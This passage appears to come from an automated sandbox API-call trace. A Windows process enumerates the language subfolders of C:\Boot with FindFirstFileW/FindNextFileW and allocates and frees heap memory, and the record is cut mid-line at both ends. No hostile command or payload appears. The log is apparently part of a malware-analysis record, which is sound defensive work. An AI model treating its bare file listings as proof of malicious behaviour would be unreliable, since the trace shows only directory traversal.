ftLastWriteTime.dwLowDateTime=0xc48ec805, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="lt-LT", cAlternateFileName="")) returned 1 [0275.974] GetProcessHeap () returned 0xaf0000 [0275.974] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0xb52838 [0275.974] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\lt-LT\\*", lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48ec805, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffedc6, dwReserved1=0x9b6, cFileName=".", cAlternateFileName="")) returned 0xb02ec8 [0275.974] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48ec805, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffedc6, dwReserved1=0x9b6, cFileName="..", cAlternateFileName="")) returned 1 [0275.974] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2117a634, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12760, dwReserved0=0xffffedc6, dwReserved1=0x9b6, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0275.974] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2117a634, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12760, dwReserved0=0xffffedc6, dwReserved1=0x9b6, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0275.974] FindClose (in: hFindFile=0xb02ec8 | out: hFindFile=0xb02ec8) returned 1 [0275.974] GetProcessHeap () returned 0xaf0000 [0275.974] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xb52838 | out: hHeap=0xaf0000) returned 1 [0275.974] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2aef788 | out: lpFindFileData=0x2aef788*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48ec805, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="lv-LV", cAlternateFileName="")) returned 1 [0275.975] GetProcessHeap () returned 0xaf0000 [0275.975] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0xb52838 [0275.975] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\lv-LV\\*", lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48ec805, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffedc6, dwReserved1=0x9b6, cFileName=".", cAlternateFileName="")) returned 0xb02f08 [0275.975] FindNextFileW (in: hFindFile=0xb02f08, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48ec805, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffedc6, dwReserved1=0x9b6, cFileName="..", cAlternateFileName="")) returned 1 [0275.975] FindNextFileW (in: hFindFile=0xb02f08, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2117a634, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12758, dwReserved0=0xffffedc6, dwReserved1=0x9b6, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0275.975] FindNextFileW (in: hFindFile=0xb02f08, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2117a634, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12758, dwReserved0=0xffffedc6, dwReserved1=0x9b6, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0275.975] FindClose (in: hFindFile=0xb02f08 | out: hFindFile=0xb02f08) returned 1 [0275.975] GetProcessHeap () returned 0xaf0000 [0275.975] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xb52838 | out: hHeap=0xaf0000) returned 1 [0275.975] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2aef788 | out: lpFindFileData=0x2aef788*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6196d8, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xfbcf473f, ftLastWriteTime.dwHighDateTime=0x1d2fa06, nFileSizeHigh=0x0, nFileSizeLow=0xc63a0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="memtest.exe", cAlternateFileName="")) returned 1 [0275.975] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2aef788 | out: lpFindFileData=0x2aef788*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010e138, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef62cf52, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="nb-NO", cAlternateFileName="")) returned 1 [0275.975] GetProcessHeap () returned 0xaf0000 [0275.975] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0xb52838 [0275.975] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\nb-NO\\*", lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010e138, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef62cf52, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffedc6, dwReserved1=0x9b6, cFileName=".", cAlternateFileName="")) returned 0xb03088 [0275.975] FindNextFileW (in: hFindFile=0xb03088, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010e138, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef62cf52, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffedc6, dwReserved1=0x9b6, cFileName="..", cAlternateFileName="")) returned 1 [0275.975] FindNextFileW (in: hFindFile=0xb03088, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4912aed, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x211543da, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12760, dwReserved0=0xffffedc6, dwReserved1=0x9b6, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0275.976] FindNextFileW (in: hFindFile=0xb03088, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef62cf52, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2fb5e6c, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0xffffedc6, dwReserved1=0x9b6, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0275.976] FindNextFileW (in: hFindFile=0xb03088, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef62cf52, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2fb5e6c, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0xffffedc6, dwReserved1=0x9b6, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0275.976] FindClose (in: hFindFile=0xb03088 | out: hFindFile=0xb03088) returned 1 [0275.976] GetProcessHeap () returned 0xaf0000 [0275.976] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xb52838 | out: hHeap=0xaf0000) returned 1 [0275.976] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2aef788 | out: lpFindFileData=0x2aef788*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010e4fa, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6407cf, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="nl-NL", cAlternateFileName="")) returned 1 [0275.976] GetProcessHeap () returned 0xaf0000 [0275.976] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0xb52838 [0275.976] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\nl-NL\\*", lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010e4fa, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6407cf, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffedc6, dwReserved1=0x9b6, cFileName=".", cAlternateFileName="")) returned 0xb03108 [0275.976] FindNextFileW (in: hFindFile=0xb03108, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010e4fa, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6407cf, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffedc6, dwReserved1=0x9b6, cFileName="..", cAlternateFileName="")) returned 1 [0275.976] FindNextFileW (in: hFindFile=0xb03108, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4912aed, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x211543da, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x13160, dwReserved0=0xffffedc6, dwReserved1=0x9b6, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0275.976] FindNextFileW (in: hFindFile=0xb03108, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6407cf, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2fb5e6c, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0xffffedc6, dwReserved1=0x9b6, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0275.976] FindNextFileW (in: hFindFile=0xb03108, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6407cf, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2fb5e6c, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0xffffedc6, dwReserved1=0x9b6, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0275.976] FindClose (in: hFindFile=0xb03108 | out: hFindFile=0xb03108) returned 1 [0275.976] GetProcessHeap () returned 0xaf0000 [0275.976] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xb52838 | out: hHeap=0xaf0000) returned 1 [0275.976] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2aef788 | out: lpFindFileData=0x2aef788*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef65403a, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef65403a, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="pl-PL", cAlternateFileName="")) returned 1 [0275.977] GetProcessHeap () returned 0xaf0000 [0275.977] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0xb52838 [0275.977] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\pl-PL\\*", lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef65403a, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef65403a, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffedc6, dwReserved1=0x9b6, cFileName=".", cAlternateFileName="")) returned 0xb03048 [0275.977] FindNextFileW (in: hFindFile=0xb03048, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef65403a, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef65403a, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffedc6, dwReserved1=0x9b6, cFileName="..", cAlternateFileName="")) returned 1 [0275.977] FindNextFileW (in: hFindFile=0xb03048, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4912aed, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2112e17f, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12f58, dwReserved0=0xffffedc6, dwReserved1=0x9b6, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0275.977] FindNextFileW (in: hFindFile=0xb03048, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef65403a, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f8fc0d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb3a0, dwReserved0=0xffffedc6, dwReserved1=0x9b6, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0275.977] FindNextFileW (in: hFindFile=0xb03048, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef65403a, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f8fc0d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb3a0, dwReserved0=0xffffedc6, dwReserved1=0x9b6, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0275.977] FindClose (in: hFindFile=0xb03048 | out: hFindFile=0xb03048) returned 1 [0275.978] GetProcessHeap () returned 0xaf0000 [0275.978] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xb52838 | out: hHeap=0xaf0000) returned 1 [0275.978] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2aef788 | out: lpFindFileData=0x2aef788*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6678d6, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6678d6, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="pt-BR", cAlternateFileName="")) returned 1 [0275.978] GetProcessHeap () returned 0xaf0000 [0275.978] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0xb52838 [0275.978] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\pt-BR\\*", lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6678d6, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6678d6, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffedc6, dwReserved1=0x9b6, cFileName=".", cAlternateFileName="")) returned 0xb03048 [0275.978] FindNextFileW (in: hFindFile=0xb03048, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6678d6, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6678d6, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffedc6, dwReserved1=0x9b6, cFileName="..", cAlternateFileName="")) returned 1 [0275.978] FindNextFileW (in: hFindFile=0xb03048, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4912aed, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2112e17f, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12b60, dwReserved0=0xffffedc6, dwReserved1=0x9b6, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0275.978] FindNextFileW (in: hFindFile=0xb03048, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef65dc94, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f8fc0d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0xffffedc6, dwReserved1=0x9b6, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0275.978] FindNextFileW (in: hFindFile=0xb03048, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef65dc94, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f8fc0d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0xffffedc6, dwReserved1=0x9b6, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0275.978] FindClose (in: hFindFile=0xb03048 | out: hFindFile=0xb03048) returned 1 [0275.978] GetProcessHeap () returned 0xaf0000 [0275.978] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xb52838 | out: hHeap=0xaf0000) returned 1 [0275.978] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2aef788 | out: lpFindFileData=0x2aef788*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010f167, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6714dc, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="pt-PT", cAlternateFileName="")) returned 1 [0275.978] GetProcessHeap () returned 0xaf0000 [0275.978] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0xb52838 [0275.979] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\pt-PT\\*", lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010f167, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6714dc, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffedc6, dwReserved1=0x9b6, cFileName=".", cAlternateFileName="")) returned 0xb02d48 [0275.979] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010f167, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6714dc, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffedc6, dwReserved1=0x9b6, cFileName="..", cAlternateFileName="")) returned 1 [0275.979] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2112e17f, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12b60, dwReserved0=0xffffedc6, dwReserved1=0x9b6, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0275.979] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6714dc, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f8fc0d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb3a0, dwReserved0=0xffffedc6, dwReserved1=0x9b6, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0275.979] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6714dc, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f8fc0d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb3a0, dwReserved0=0xffffedc6, dwReserved1=0x9b6, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0275.979] FindClose (in: hFindFile=0xb02d48 | out: hFindFile=0xb02d48) returned 1 [0275.979] GetProcessHeap () returned 0xaf0000 [0275.979] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xb52838 | out: hHeap=0xaf0000) returned 1 [0275.979] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2aef788 | out: lpFindFileData=0x2aef788*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010f640, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef684d85, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, 